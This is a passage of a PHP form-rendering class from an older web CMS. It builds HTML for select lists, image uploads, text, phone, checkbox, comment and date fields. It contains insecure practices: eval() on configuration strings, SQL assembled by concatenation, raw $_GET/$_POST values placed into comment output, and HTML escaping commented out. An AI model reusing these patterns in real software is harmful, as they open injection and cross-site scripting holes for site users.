$sql = str_replace("]" , ">" , str_replace("[" , "<" , $sql)); $records = $this->db->QFetchRowArray($sql); } else { $records = $this->db->QFetchRowArray($field["relation"]["sql"]["query"]); } } else { //check to eval the condition if requred if (is_array($field["relation"]["condition"]) && ($field["relation"]["condition"]["eval"] == "true")) { eval("\$field[\"relation\"][\"condition\"] = " . $field["relation"]["condition"]["import"]); } $tmp_table= explode("," , $field["relation"]["table"]); if (count($tmp_table)) { foreach ($tmp_table as $__k => $__table) { $rel_table[] = $this->tables[$__table]; } $rel_table = implode(" , " , $rel_table); } else $rel_table = $this->tables[$field["relation"]["table"]]; $sql = "SELECT * FROM " . $rel_table . " " . ($field["relation"]["condition"] ? " WHERE (" . $field["relation"]["condition"] . ") " : "" ) . ($field["relation"]["order"] ? " ORDER BY " . $field["relation"]["order"] . " " . ($field["relation"]["ordermode"] ? $field["relation"]["ordermode"] : "") : "" ); $records =$this->db->QFetchRowArray( $sql ); } if (is_array($records)) { // prepare the tree type if (($field["editable"] != "false") && is_array($records) && is_array($field["tree"])) { $records = CForm::__private_tree( $records , $field["tree"]["first"] ? $field["tree"]["first"] : 0 , $field["relation"]["id"] , $field["tree"]["parent"] , $field["tree"]["separator"] , 0, array ( "full" => $field["tree"]["full"] , "field" => $field["tree"]["field"] ) ); } if (is_array($records)) { foreach ($records as $key => $val) { if (is_array($field["relation"]["text"])) { $_tmp_text = array(); foreach ($field["relation"]["text"] as $kkey => $vval) if (is_array($vval)) $_tmp_text[] = $vval["preffix"] . $val[$vval["field"]] . $vval["suffix"]; else $_tmp_text[] = $val[$vval]; $field["options"][$val[$field["relation"]["id"]]] = $val["separator"] . implode($field["relation"]["separator"] ? $field["relation"]["separator"] : " " , $_tmp_text); } else $field["options"][$val[$field["relation"]["id"]]] = $val["separator"] . $val[$field["relation"]["text"]]; } } } } //prepare the templates list if ($field["radio"] == "true") { $template = "Radio"; $checked = " checked=\"checked\" "; } else { if ($field["checkbox"] == "true") { $template = "CheckBox"; $checked = " checked=\"checked\" "; } else { if ($field["double"] == "true") { if ($field["small"] == "true") { $template = "DoubleSmall"; $checked = true; } else { $template = "Double"; $checked = true; } } else { $template = "Select"; $checked = " selected=\"selected\" "; } } } ### //add the enpty option if ($field["empty"] == "true") { if ($field["editable"] == "false") $__empty = $field["empty_text"] ? $field["empty_text"] : "<i>N/A</i>"; else $__empty = $field["empty_text"] ? $field["empty_text"] : " [ select ] "; $field["options"] = array("" => $__empty) + (is_array($field["options"]) ? $field["options"] : array() ); } #### if (is_array($field["options"])) { //if the field admists multiple values then add the array simbol if ($field["multi"] && ($field["editable"] != "false")) $field["name"] .= "[]"; //building the select from options foreach ($field["options"] as $key => $val) { //hm ... support for noeditable fields, will apear as text if ($field["editable"] == "false") { if ($field["multi"]) { //change the structure of current fields make it array, and use it for later recognition if (in_array($key , $values["values"]["original_" . $field["name"]] )) $current_field[] = $val; } else { if (($key == $values["values"][$field["name"]]) && (strlen($key) == strlen($values["values"][$field["name"]])) ) { $found = 1; $field["value"] = $val; $this->templates->blocks["text"]->Replace($field , false); $current_field = $this->templates->blocks["text"]->EmptyVars(); } } } else { //checking if is a complex option or a simple one if (is_array($val)) { $label = $val["value"]; $disabled = $val["disabled"] == "true" ? " disabled " : ""; } else { $label = $val; $disabled = ""; } if (is_array($field["value"])) $selected = in_array($key , $field["value"]) ? $checked : "" ? $checked : ""; else { $selected = (($key == $field["value"]) && (strlen($key) == strlen($field["value"])) ? $checked : ""); } if (($field["double"] == "true") && $selected) { $temp_options2 .= $this->templates->blocks["{$template}Option" . (is_array($val) && $val["type"] == "group" ? "Group" : "")]->Replace( array( "value" => $key, "label" => $label, "checked" => $selected, "disabled" => $disabled, "name" => $field["name"], "line_top" => $field["line_top"], "line_bottom" => $field["line_bottom"] ) ); $temp_options3[] = $key; } $temp_options .= $this->templates->blocks["{$template}Option" . (is_array($val) && $val["type"] == "group" ? "Group" : "")]->Replace( array( "value" => $key, "label" => $label, "checked" => $selected, "disabled" => $disabled, "name" => $field["name"], "line_top" => $field["line_top"], "line_bottom" => $field["line_bottom"] ) ); } } // debug($current_field); //if is array then it is an no editable and multi true if (is_array($current_field)) { $current_field = implode(", " , $current_field ); //mark as found $found = 1; } } if ($field["editable"] != "false") { //prepare the fields if (!isset($field["emptymsg"])) $field["emptymsg"] = $this->__default["show"]["droplist"]["emptytext"]; $field["options"] = $temp_options; if (($field["double"] == "true")) { $field["options2"] = $temp_options2; $field["values"] = is_array($temp_options3) ? implode("," , $temp_options3) : ""; } $field["size"] = $field["size"] ? $field["size"] : "1"; $field["multiple"] = $field["multi"] ? " multiple=\"multiple\" " : ""; $field["width"] = $field["width"] ? "style=\"width:{$field[width]}px\";" : ""; $field["disabled"] = $field["disabled"] == "true" ? " disabled " : ""; if ($temp_options != "") $current_field = $this->templates->blocks[$template]->Replace($field); else //else return a message, customizable from xml $current_field = $field["emptymsg"]; } else { if (!(($current_field != "")&& $found)) { //else return a message, customizable from xml $current_field = $field["emptymsg"]; } } return $current_field; } /** * description * * @param * * @return * * @access */ function __field__image($field , $values) { global $_CONF; if ($field["type"] == "upload") { $file = true; } if ($field["force_values"]) { $values["values"][$field["name"] . "_file"] = $field["force_values"]["file"]; $values["values"][$field["file"]["field"]] = $field["force_values"]["field"]; $values["values"][$field["name"]] = $field["force_values"]["value"]; } if ($field["editable"] != "false") { $field["file_name"] = $values["values"][$field["name"] . "_file"]; /*???*/ $field["target"] = $field["target"] == "self" ? "" : "target=\"_new\"" ; //add the cropping details $field["crop_width"] = $field["crop_height"] = "0"; if (is_array($field["thumbnails"]["resize"])) { $field["crop_width"] = (int)$field["thumbnails"]["resize"]["width"]; $field["crop_height"] = (int)$field["thumbnails"]["resize"]["height"]; } else { if ($field["process"]) { $field["crop_width"] = (int)$field["process"]["width"]; $field["crop_height"] = (int)$field["process"]["height"]; } } //it is an image $tmp_file_path = $_CONF["path"] . $_CONF["upload"] . ($field["path"] ? $field["path"] : $field["file"]["path"]) . $field["file"]["default"] . $values["values"][$field["file"]["field"]] . $field["file"]["ext"]; $tmp_file_url = $_CONF["url"] . $_CONF["upload"] . ($field["path"] ? $field["path"] : $field["file"]["path"]) . $field["file"]["default"] . $values["values"][$field["file"]["field"]] . $field["file"]["ext"]; $tmp_file_path = str_replace("/./" , "/" , $tmp_file_path); $tmp_file_url = str_replace("/./" , "/" , $tmp_file_url); if (file_exists($tmp_file_path) && is_file($tmp_file_path)) { $field["src"] = $tmp_file_url . ($file ? "" : "?" . time()); } else $field["src"] = ""; //check if the savinf gor returned and error and keep the file $field["previous_file"] = ""; $field["previous_file_name"] = ""; if ($values["values"][$field["name"] . "_temp"]) { $tmp_file_previous_path = $_CONF["path"] . $_CONF["upload"] . "tmp/" . $values["values"][$field["name"] . "_temp"]; $tmp_file_previous_url = $_CONF["url"] . $_CONF["upload"] . "tmp/" . $values["values"][$field["name"] . "_temp"]; if (is_file($_CONF["path"] . $_CONF["upload"] . "tmp/" . $values["values"][$field["name"] . "_temp"])) { $tmp_file_previous_path = str_replace("/./" , "/" , $tmp_file_previous_path); $tmp_file_previous_url = str_replace("/./" , "/" , $tmp_file_previous_url); $field["previous_file"] = $tmp_file_previous_url; $field["previous_file_name"] = $values["values"][$field["name"] . "_temp_file"]; } } if ($values["values"][$field["name"] . "_crop_oxbc"]) { $tmp_img = explode(":" , $values["values"][$field["name"] . "_crop_oxbc"]); $field["prev_x"] = $tmp_img[2]; $field["prev_y"] = $tmp_img[3]; $field["prev_w"] = $tmp_img[4]; $field["prev_h"] = $tmp_img[5]; } else $field["prev_x"] = $field["prev_y"] = $field["prev_w"] = $field["prev_h"] = ''; //add the filename $field["file_name"] = $values["values"][$field["name"] . "_file"]; $field["crop_oxbc"] = $values["values"][$field["name"] . "_crop_oxbc"]; //add the max size supported by php $field["max_size"] = return_bytes(ini_get('post_max_size')); $image["editable"] = $this->templates->blocks[$file ? "uploadedit" : "imageedit"]->Replace($field); } // DEBUG($values["values"]); if ($file) { if (is_file($_CONF["path"] . $_CONF["upload"] . "tmp/" . $values["values"][$field["name"] . "_temp"])) { //show the fucking image $image["preview"] = $this->templates->blocks["fileshow"]->Replace( array( "name" => $_CONF["url"] . $_CONF["upload"] . "tmp/" . $values["values"][$field["name"] . "_file"], "src" => $_CONF["url"] . $_CONF["upload"] . "tmp/" . $values["values"][$field["name"] . "_temp"] , "target" => $field["target"] == "self" ? "" : "target=\"_new\"" ) ); } else { $file_name = $_CONF["path"] . $_CONF["upload"] . ($field["path"] ? $field["path"] : $field["file"]["path"]) . $field["file"]["default"] . $values["values"][$field["file"]["field"]] . $field["file"]["ext"]; $file_url = $_CONF["url"] . $_CONF["upload"] . ($field["path"] ? $field["path"] : $field["file"]["path"]) . $field["file"]["default"] . $values["values"][$field["file"]["field"]] . $field["file"]["ext"]; if (/*$values["values"][$field["name"]] && */file_exists($file_name)) { $image["preview"] = $this->templates->blocks["fileshow"]->Replace( array( "name" => $values["values"][$field["name"] . "_file"] ? $values["values"][$field["name"] . "_file"] : $field["file"]["default"] . $values["values"][$field["file"]["field"]] . $field["file"]["ext"], "src" => $file_url, "target" => $field["target"] == "self" ? "" : "target=\"_new\"" ) ); } else $image["preview"] = $field["error"] ? $field["error"] : "No file uploaded."; } } else { if (is_file($_CONF["path"] . $_CONF["upload"] . "tmp/" . $values["values"][$field["name"] . "_temp"])) { //show the fucking image $image["preview"] = $this->templates->blocks["imageshow"]->Replace( array( "width" => $field["adminwidth"], "height" => $field["adminheight"] ? ' height="' . $field["adminheight"] . '"' : "", "border" => $field["border"] ? $field["border"] : 0, "src" => $_CONF["url"] . $_CONF["upload"] . "tmp/" . $values["values"][$field["name"] . "_temp"] ) ); } else { //hm ... making a small trick to keep the image even if that was an failed adding, //this sux becouse if the add process is not completed then i get crap in the temp folder. if ($values["values"][$field["name"]] && file_exists($_CONF["path"] . $_CONF["upload"] . $field["path"] . $field["file"]["default"] . $values["values"][$field["file"]["field"]] . $field["file"]["ext"])) { $image["preview"] = $this->templates->blocks["imageshow"]->Replace( array( "width" => $field["adminwidth"], "height" => $field["adminheight"] ? ' height="' . $field["adminheight"] . '"' : "", "border" => $field["border"] ? $field["border"] : 0, "src" => $_CONF["url"] . $_CONF["upload"] . $field["path"] . $field["file"]["default"] . $values["values"][$field["file"]["field"]] . $field["file"]["ext"] ) ); } else { //checking if there exists a default image if ($field["default"]) { $image["preview"] = $this->templates->blocks["imageshownolink"]->Replace( array( "width" => $field["adminwidth"], "height" => $field["adminheight"] ? ' height="' . $field["adminheight"] . '"' : "", "border" => $field["border"] ? $field["border"] : 0, "src" => $_CONF["url"] . $_CONF["upload"] . $field["path"] . $field["default"] ) ); } else //return an error from xml $image["preview"] = $field["error"] ? $field["error"] : "No image curently available."; } } } if ($field["editable"] != "false"){ $image["preview"] = ""; } $image["temp"] = $values["values"][$field["name"] . "_temp"]; $image["error"] = $field["error"]; $image["name"] = $field["name"]; //check if the new image object with javascript works if (($file == FALSE) && ($field["editable"] == "true") && is_object($this->templates->blocks["image2"])) { $this->templates->blocks["image2"]->Replace($image , false); $current_field = $this->templates->blocks["image2"]->EmptyVars(); } else { //use the original obkect $this->templates->blocks["image"]->Replace($image , false); $current_field = $this->templates->blocks["image"]->EmptyVars(); } return $current_field; } function __field__image_html($field , $values) { global $_CONF; if ($field["type"] == "upload") { $file = true; } if ($field["force_values"]) { $values["values"][$field["name"] . "_file"] = $field["force_values"]["file"]; $values["values"][$field["file"]["field"]] = $field["force_values"]["field"]; $values["values"][$field["name"]] = $field["force_values"]["value"]; } if ($field["editable"] != "false") { //adding the editable area to form $field["web_checked"] = $values["values"][$field["name"] . "_radio_type"] ? "checked" : ""; $field["client_checked"] = $values["values"][$field["name"] . "_radio_type"] ? "" : "checked"; $field["web_link"] = $values["values"][$field["name"] . "_upload_web"] ? $values["values"][$field["name"] . "_upload_web"] : "http://"; $field["file_name"] = $values["values"][$field["name"] . "_file"]; /*???*/ $field["target"] = $field["target"] == "self" ? "" : "target=\"_new\"" ; $field["rem_disabled"] = $values["values"][$field["name"] . "_temp"] || $values["values"][$field["name"] . "_temp"] || $values["values"][$field["name"]] ? "" : "disabled"; $image["editable"] = $this->templates->blocks[$file ? "uploadedit_html" : "imageedit_html"]->Replace($field); } // DEBUG($values["values"]); if ($file) { if (is_file($_CONF["path"] . $_CONF["upload"] . "tmp/" . $values["values"][$field["name"] . "_temp"])) { //show the fucking image $image["preview"] = $this->templates->blocks["fileshow"]->Replace( array( "name" => $_CONF["url"] . $_CONF["upload"] . "tmp/" . $values["values"][$field["name"] . "_file"], "src" => $_CONF["url"] . $_CONF["upload"] . "tmp/" . $values["values"][$field["name"] . "_temp"] , "target" => $field["target"] == "self" ? "" : "target=\"_new\"" ) ); } else { $file_name = $_CONF["path"] . $_CONF["upload"] . ($field["path"] ? $field["path"] : $field["file"]["path"]) . $field["file"]["default"] . $values["values"][$field["file"]["field"]] . $field["file"]["ext"]; $file_url = $_CONF["url"] . $_CONF["upload"] . ($field["path"] ? $field["path"] : $field["file"]["path"]) . $field["file"]["default"] . $values["values"][$field["file"]["field"]] . $field["file"]["ext"]; if (/*$values["values"][$field["name"]] && */file_exists($file_name)) { $image["preview"] = $this->templates->blocks["fileshow"]->Replace( array( "name" => $values["values"][$field["name"] . "_file"] ? $values["values"][$field["name"] . "_file"] : $field["file"]["default"] . $values["values"][$field["file"]["field"]] . $field["file"]["ext"], "src" => $file_url, "target" => $field["target"] == "self" ? "" : "target=\"_new\"" ) ); } else $image["preview"] = $field["error"] ? $field["error"] : "No file uploaded."; } } else { if (is_file($_CONF["path"] . $_CONF["upload"] . "tmp/" . $values["values"][$field["name"] . "_temp"])) { //show the fucking image $image["preview"] = $this->templates->blocks["imageshow"]->Replace( array( "width" => $field["adminwidth"], "height" => $field["adminheight"] ? ' height="' . $field["adminheight"] . '"' : "", "border" => $field["border"] ? $field["border"] : 0, "src" => $_CONF["url"] . $_CONF["upload"] . "tmp/" . $values["values"][$field["name"] . "_temp"] ) ); } else { //hm ... making a small trick to keep the image even if that was an failed adding, //this sux becouse if the add process is not completed then i get crap in the temp folder. if ($values["values"][$field["name"]] && file_exists($_CONF["path"] . $_CONF["upload"] . $field["path"] . $field["file"]["default"] . $values["values"][$field["file"]["field"]] . $field["file"]["ext"])) { $image["preview"] = $this->templates->blocks["imageshow"]->Replace( array( "width" => $field["adminwidth"], "height" => $field["adminheight"] ? ' height="' . $field["adminheight"] . '"' : "", "border" => $field["border"] ? $field["border"] : 0, "src" => $_CONF["url"] . $_CONF["upload"] . $field["path"] . $field["file"]["default"] . $values["values"][$field["file"]["field"]] . $field["file"]["ext"] ) ); } else { //checking if there exists a default image if ($field["default"]) { $image["preview"] = $this->templates->blocks["imageshownolink"]->Replace( array( "width" => $field["adminwidth"], "height" => $field["adminheight"] ? ' height="' . $field["adminheight"] . '"' : "", "border" => $field["border"] ? $field["border"] : 0, "src" => $_CONF["url"] . $_CONF["upload"] . $field["path"] . $field["default"] ) ); } else //return an error from xml $image["preview"] = $field["error"] ? $field["error"] : "No image curently available."; } } } $image["temp"] = $values["values"][$field["name"] . "_temp"]; $image["error"] = $field["error"]; $image["name"] = $field["name"]; //check if the new image object with javascript works if (($file == FALSE) && ($field["editable"] == "true") && is_object($this->templates->blocks["image2"])) { $this->templates->blocks["image2"]->Replace($image , false); $current_field = $this->templates->blocks["image2"]->EmptyVars(); } else { //use the original obkect $this->templates->blocks["image"]->Replace($image , false); $current_field = $this->templates->blocks["image"]->EmptyVars(); } return $current_field; } /** * description * * @param * * @return * * @access */ function __field__phone($field , $values) { if (!$field["size"]) $field["size"] = $this->__default["show"]["phone"]["size"]; $size = explode("," , $field["size"]); $field["size_1"] = (int) $size[0]; $field["size_2"] = (int) $size[1]; $field["size_3"] = (int) $size[2]; //check ig the values werent stored yet and the array still exits if (is_array($values["values"][$field["name"] . "_arr"])) { $_val = &$values["values"][$field["name"] . "_arr"]; //if yes then use the values from that arrya $field["value_1"] = $_val[0]; $field["value_2"] = $_val[1]; $field["value_3"] = $_val[2]; } else { //else extract blocks from the array w/ the values $field["value_1"] = $field["value"] ? substr($field["value"],0,$field["size_1"]) : ""; $field["value_2"] = $field["value"] ? substr($field["value"],$field["size_1"],$field["size_2"]) : ""; $field["value_3"] = $field["value"] ? substr($field["value"],(int)($field["size_1"] + $field["size_2"])) : ""; } //return the template depending of editable status, show or edit. $current_field = $this->templates->blocks[$field["editable"] == "false" ? "phoneshow" : "phone"]->Replace($field); return $current_field; } /** * description * * @param * * @return * * @access */ function __field__textarea( $field , $values) { global $_TSM; if (is_array($temp = @explode(":" , $field["size"]))) { //size from xml $field["_cols"] = $temp["0"]; $field["_rows"] = $temp["1"]; } else { //preset size $field["_cols"] = $this->_textareaCols; $field["_rows"] = $this->_textareaRows; } if ($field["readonly"] == "true") $field["readonly"] = " readonly "; else $field["readonly"] = ""; //uhm ... this is a crappy part becouse i have to integrate the html editor here so ... if ($field["html"] == "true") { //checking if the editor.js was loaded until now if ($_GLOBALS["cform_editor_loaded"] != true) { $current_field = $this->templates->blocks["htmlareainit"]->output; $_GLOBALS["cform_editor_loaded"] = true; } $field["value"] = stripslashes($field["value"]); $_TSM["FORMS.PRIVATE.ONLOAD"] .= $this->templates->blocks["htmlareaonload"]->Replace($field); $current_field .= $this->templates->blocks["htmlarea"]->Replace($field); } else { //$field["value"] = $field["denyhtml"] ? $field["value"] : htmlentities($field["value"]); //prepare some optional width value if ($field["width"]) { $field["style"] = " style=\"width:{$field[width]}\" "; } $current_field = $this->templates->blocks["textarea"]->Replace($field); //$current_field = $this->templates->blocks["textarea"]->EmptyVars(); } return $current_field; } /** * description * * @param * * @return * * @access */ function __field__textbox( $field , $values) { //check if the size for textbox is defined if ($field["size"]) { //autodetect if the size value contaigns the maxlength too if (is_array($temp = @explode(":" , $field["size"]))) { $field["_size"] = $temp["0"]; $field["_maxlength"] = $temp["1"]; } else { //else the size field is the size of textbox $field["_size"] = $field["size"]; $field["_maxlength"] = $this->_textboxMaxLength; } } else { //check if there is defined any withd value if ($field["width"]) { } else { //get the default values $field["_size"] = $this->_textboxSize; $field["_maxlength"] = $this->_textboxMaxLength; } } //prepare the html entities for the nonhtml forms. if ($field["html"] != "true") //$field["value"] = htmlentities($field["value"]); if (!isset($values["values"][$field["name"] . "_confirm"])) $values["values"][$field["name"] . "_confirm"] = $field["value"]; if ($field["align"]) $field["style"][] = "text-align:{$field[align]}"; if ($field["readonly"] == "true") $field["readonly"] = " readonly "; else $field["readonly"] = ""; //add the show element if ($field["type"] == "password") { if ($field["show"] == "true") $field["show"] = is_object($this->templates->blocks["password_show"]) ? $this->templates->blocks["password_show"]->Replace($field) : ""; else $field["show"] = ""; } if (is_array($field["style"])) $field["style"] = ' style="' . implode(";" , $field["style"]) . '" '; else $field["style"] = ""; //replace the " with the html code for that else it will wont appear $field["value"] = str_replace("\"" , "&quot;" , $field["value"]); $current_field = $this->templates->blocks[$field["type"]]->Replace($field); //$current_field = $this->templates->blocks[$field["type"]]->EmptyVars(); return $current_field; } /** * description * * @param * * @return * * @access */ function __field__file($field , $values) { $field["file"] = $values["values"][$field["name"]]; $this->templates->blocks["file"]->Replace($field , false); $current_field = $this->templates->blocks["file"]->EmptyVars(); return $current_field; } /** * description * * @param * * @return * * @access */ function __field__sql($field , $values) { if (is_array($field["sql"])) { $form_sql_vars = array(); if (is_array($field["sql"]["vars"])) { foreach ($field["sql"]["vars"] as $_key => $_val) { //echeking if the default must be evaluated if ($_val["action"] == "eval") { eval("\$_val[\"import\"] = " . $_val["default"] .";"); } switch ($_val["type"]) { case "eval": eval("\$form_sql_vars[\"$_key\"] = " . $_val["import"] . ";"); break; case "var": $form_sql_vars[$_key] = $_val["import"]; break; case "page": $form_sql_vars[$_key] = ($_GET[($_val["code"] ? $_val["code"] : 'page')] -1 )* $form['items']; break; case "form": eval("\$form_sql_vars[\"$_key\"] = " . $form[$_val["var"]] . ";"); break; case "field": $form_sql_vars[$_key] = $items[$key][$_val["import"]]; break; } } foreach ($form_sql_vars as $_key => $_val) { $this->templates->blocks["Temp"]->input = $_val; $form_sql_vars[$_key] = $this->templates->blocks["Temp"]->Replace($form_sql_vars); } //doing a double replace, in case there are unreplaced variable sfom "vars" type $this->templates->blocks["Temp"]->input = $field["sql"]["query"]; $sql = $this->templates->blocks["Temp"]->Replace($form_sql_vars); //do a precheck for [] elements to be replaced with <> $sql = str_replace("]" , ">" , str_replace("[" , "<" , $sql)); $record = $this->db->QFetchArray($sql); $field["value"] = $record[$field["sql"]["field"]]; } } } /** * description * * @param * * @return * * @access */ function __field__text($field , $values) { if ($field["html"] != "true") { //$field["value"] = htmlentities($field["value"]); $field["value"] = eregi_replace("([_a-z0-9\-\.]+)@([a-z0-9\-\.]+)\." . "(net|com|gov|mil|org|edu|int|biz|info|name|pro|[A-Z]{2})". "($|[^a-z]{1})", "<a title=\"Click to open the mail client.\" href=\"mailto:\\1@\\2.\\3\">\\1@\\2.\\3</a>\\4", $field["value"]); $field["value"] = eregi_replace("(http|https|ftp)://([[:alnum:]/\n+-=%&:_.~?]+[#[:alnum:]+]*)","<a href=\"\\1://\\2\" title=\"Click to open in new window.\" target=\"_blank\">\\2</a>", $field["value"]); $field["value"] = nl2br($field["value"]); } if ($field["html"] != "true") { } if ($field["html_entities_decode"] == "true") $field["value"] = html_entity_decode($field["value"]); if ($field["maxchars"]) { $field["value"] = substr($field["value"],0,$field["maxchars"]) . (strlen($field["value"]) > $field["maxchars"] ? ($field["maxchars_text"] ? $field["maxchars_text"] : $this->__default["list"]["fields"]["maxchars_text"]) : ""); } $field["action"] = $field["subtype"] ? $field["subtype"] : $field["action"]; switch ($field["action"]) { case "date": if (isset($values["values"][$field["name"] . "_day" ]) && isset($values["values"][$field["name"] . "_month" ]) && isset($values["values"][$field["name"] . "_year" ])) $field["value"] = ( $values["values"][$field["name"] . "_month" ] ? sprintf("%02d" ,$values["values"][$field["name"] . "_month" ]) : "--" ). "." . ( $values["values"][$field["name"] . "_day" ] ? sprintf("%02d" ,$values["values"][$field["name"] . "_day" ]) : "--" ) . "." . ( $values["values"][$field["name"] . "_year" ] ? $values["values"][$field["name"] . "_year" ] : "----" ) ; else $field["value"] = $field["value"] > 0 ? @date($field["params"] , $field["value"]) : "not available"; break; case "price": $field["value"] = number_format($field["value"] , 2); break; } //WARNING THIS IS IN TESTING MODE SO IF ANYTHING WILL GO WRONG IT WILL DISPEAR //do some special tricks, to transform the links and the email addresses in urls // if ($field["linkstransform"] == "true") { //check if there is any html content around // } //format the text switch ($field["font"]) { case "normal": break; default: $field["value"] = "" . $field["value"] . ""; break; } if ($field["nobr"] == "true") $field["value"] = "<nobr>{$field[value]}</nobr>"; $current_field = $this->templates->blocks["text"]->Replace($field , false); //$current_field = $this->templates->blocks["text"]->EmptyVars(); return $current_field; } /** * description * * @param * * @return * * @access */ function __field__hidden($field , $values) { //fix a small bug, if the hidden!= true then the elemet is drow like normal element. $field["hidden"] = "true"; $current_field = $this->templates->blocks["hidden"]->Replace($field , false); return $current_field; } /** * description * * @param * * @return * * @access */ function __field__button($field , $values) { $field["target"] = $field["target"]; $field["title"] = $field["title"]; $field["onmouseover"] = $field["onmouseover"]; $field["onmouseout"] = $field["onmouseout"]; $field["onclick"] = $field["onclick"]; $field["id"] = $field["id"]; $current_field = $this->templates->blocks["button"]->Replace($field , false); //$this->templates->blocks["button"]->EmptyVars(); return $current_field; } /** * description * * @param * * @return * * @access */ function __field__checkbox($field , $values) { $_value = $field["checked"]; $field["checked"] = $field["value"] == $field["checked"] ? " checked=\"checked\" " : ""; $field["value"] = $_value; $field["check"] = $field["checked"] ? "on" : "off"; //prepare the label if (strstr($field["label"] , "|")) { $tmp = explode("|" , $field["label"]); $field["label"] = $tmp[0]; if ($field["editable"] == "false") $new = true; } if ($new == true) { if ($field["editable"] == "false") { $field["value"] = $field["check"] == "on" ? $tmp[0] : $tmp[1]; $current_field = $this->templates->blocks["text"]->Replace($field , false); } } else { $this->templates->blocks["checkbox" . ($field["editable"] == "false" ? "_show" : "")]->Replace($field , false); $current_field = $this->templates->blocks["checkbox" . ($field["editable"] == "false" ? "_show" : "")]->EmptyVars(); } return $current_field; } /** * description * * @param * * @return * * @access */ function __field__comment($field , $values , $form) { global $_CONF; //changed the way it handles the comments if ($field["value"]) { $field["description"] = nl2br($field["value"]); } if ($field["subtype"] == "extern") { $field["description"] = GetFileContents(dirname($form["xmlfile"]) . "/" . $field["file"]); } else { $field["description"] = preg_replace( array( '(\[)' , '(\])' ), array( "<" , ">" ), $field["description"] ); } //save the input $old = $this->templates->blocks["Comment"]->input ; //do the replaces $this->templates->blocks["Comment"]->input = $this->templates->blocks["Comment"]->Replace(array( "COMMENT" => $field["description"], "PADDING" => $field["padding"] ? $field["padding"] : "0", "ALIGN" => $field["align"] )); $this->templates->blocks["Comment"]->input = $this->templates->blocks["Comment"]->Replace($values["values"]); $this->templates->blocks["Comment"]->input = $this->templates->blocks["Comment"]->Replace($_GET); $current_field = $this->templates->blocks["Comment"]->Replace($_POST); //restore the template $this->templates->blocks["Comment"]->input = $old; return $current_field; } /** * description * * @param * * @return * * @access */ function __field__date($field , $values) { if (($field["now"] == "true") && !$field["value"]) { $field["value"] = time(); } #### FIX ME IF NO SEPARATE DATES IT WONR WORK, NEED TO CREATE THEM FROM THE MAIN DATE IF DOESNT EXIST if ($field["editable"] == "false") { $val = &$values["values"]; $k = $field["name"]; ## not sure if this is okay if (!isset($val[$k])) { $val[$k] = $field["value"]; } if (is_string($field["fields"])) { $supp_fields = array("month" , "year" , "month_str", "day"); $_tmp_v = ""; foreach ($supp_fields as $__k => $__v) { switch ($__v) { case "month_str": $_tmp_v[$__v] = $form_months[$val[$k . "_month" ]]; break; case "day": $_tmp_v[$__v] = sprintf("%02d" ,$val[$k . "_day" ]); break; case "year": $_tmp_v[$__v] = sprintf("%02d" ,$val[$k . "_year" ]); break; } } $current_field = $field["fields"]; foreach ($_tmp_v as $__k => $__v) { $current_field = str_replace($__k , $__v , $current_field); } } else { if (isset($val[$k . "_month" ]) && isset($val[$k . "_day" ]) && isset($val[$k . "_year" ])) { $current_field = ( $val[$k . "_month" ] ? sprintf("%02d" ,$val[$k . "_month" ]) : "--" ). "/" . ( $val[$k . "_day" ] ? sprintf("%02d" ,$val[$k . "_day" ]) : "--" ) . "/" . ( $val[$k . "_year" ] ? $val[$k . "_year" ] : "----" ) . "&nbsp;&nbsp;" . ($val[$k . "_hour"] && $val[$k . "_minute"] ? $val[$k . "_hour"] . ":" . $val[$k . "_minute"] : ""); } else { $current_field = $val[$k] > 1000 ? date(($field["params"] ? $field["params"] : "m/d/Y") , $val[$k]) : "not available"; } } } else { if (is_array($field["fields"])) { $html = new CHtml; //do some variables cleaning if (is_array($years)) unset($years); if (is_array($days)) unset($days); if (is_array($months)) unset($months); $date_vals = &$values["values"][$field["name"]]; //try to do a small trick with default values if (($date_vals < 1000) && isset($field["value"])) { $date_vals = $field["value"]; } if (($date_vals > 1000) || (isset($values["values"][$field["name"] ."_year"]) || isset($values["values"][$field["name"] ."_month"]) || isset($values["values"][$field["name"] ."_day"]))) { //setting the previous values $year_selected = isset($values["values"][$field["name"] ."_year"]) ? $values["values"][$field["name"] ."_year"] : @date("Y" , $date_vals ); $month_selected = isset($values["values"][$field["name"] ."_month"]) ? $values["values"][$field["name"] ."_month"] : @date("n" , $date_vals ); $day_selected = isset($values["values"][$field["name"] ."_day"]) ? $values["values"][$field["name"] ."_day"] : @date("j" , $date_vals ); //crap, adding the time values too $hour_selected = isset($values["values"][$field["name"] ."_hour"]) ? $values["values"][$field["name"] ."_hour"] : @date("G" , $date_vals ); $minute_selected = isset($values["values"][$field["name"] ."_minute"]) ? $values["values"][$field["name"] ."_minute"] : @date("i" , $date_vals ); $second_selected = isset($values["values"][$field["name"] ."_second"]) ? $values["values"][$field["name"] ."_second"] : @date("s" , $date_vals ); } else { $fld = $field["fields"]; //setting the default value $year_selected = $fld["year"]["default"] == "now" ? date("Y") : $fld["year"]["default"]; $month_selected = $fld["month"]["default"] == "now" ? date("n") : $fld["month"]["default"]; $day_selected = $fld["day"]["default"] == "now" ? date("j") : $fld["day"]["default"]; //crap, adding the time values too $hour_selected = $fld["hour"]["default"] == "now" ? date("G") : $fld["hour"]["default"]; $minute_selected = $fld["minute"]["default"] == "now" ? date("i") : $fld["minute"]["default"]; $second_selected = $fld["second"]["default"] == "now" ? date("s") : $fld["second"]["default"]; } if ($field["calendar"] == true) { $current_field = $this->templates->blocks["Calendar"]->Replace(array( "name" => $field["name"], "value" => mktime(1,1,1,$month_selected, $day_selected , $year_selected),//$field["value"], "value_day" => $day_selected, "value_month" => $month_selected, "value_year" => $year_selected, "form" => $form["name"] )); } else { foreach ($field["fields"] as $key => $val) { switch ($key) { case "year": if ($field["fields"]["year"]["empty"] == "true") { $years[0] = "--" ; } for ($i = $field["fields"]["year"]["from"] ; $i <= $field["fields"]["year"]["to"] ; $i++ ) $years[$i] = $i; $current_field .= $html->FormSelect( $field["name"]."_year" , $years , $this->templates , "DateSelect", $year_selected , array() , array("DISABLED" => ($field["fields"]["year"]["editable"] == "false") ? "DISABLED" : "") ); $current_field .= $val["separator"]; break; case "day": if ($field["fields"]["day"]["empty"] == "true") { $days[0] = "--" ; } for ($i = 1 ; $i <= 31 ; $i++ ) $days[$i] = sprintf("%02d",$i); $current_field .= $html->FormSelect( $field["name"]."_day" , $days , $this->templates , "DateSelect", $day_selected, array() , array("DISABLED" => ($field["fields"]["day"]["editable"] == "false") ? "DISABLED" : "") ); $current_field .= $val["separator"]; break; case "month": if (($field["fields"]["month"]["empty"] == "true")) { $months[0] = 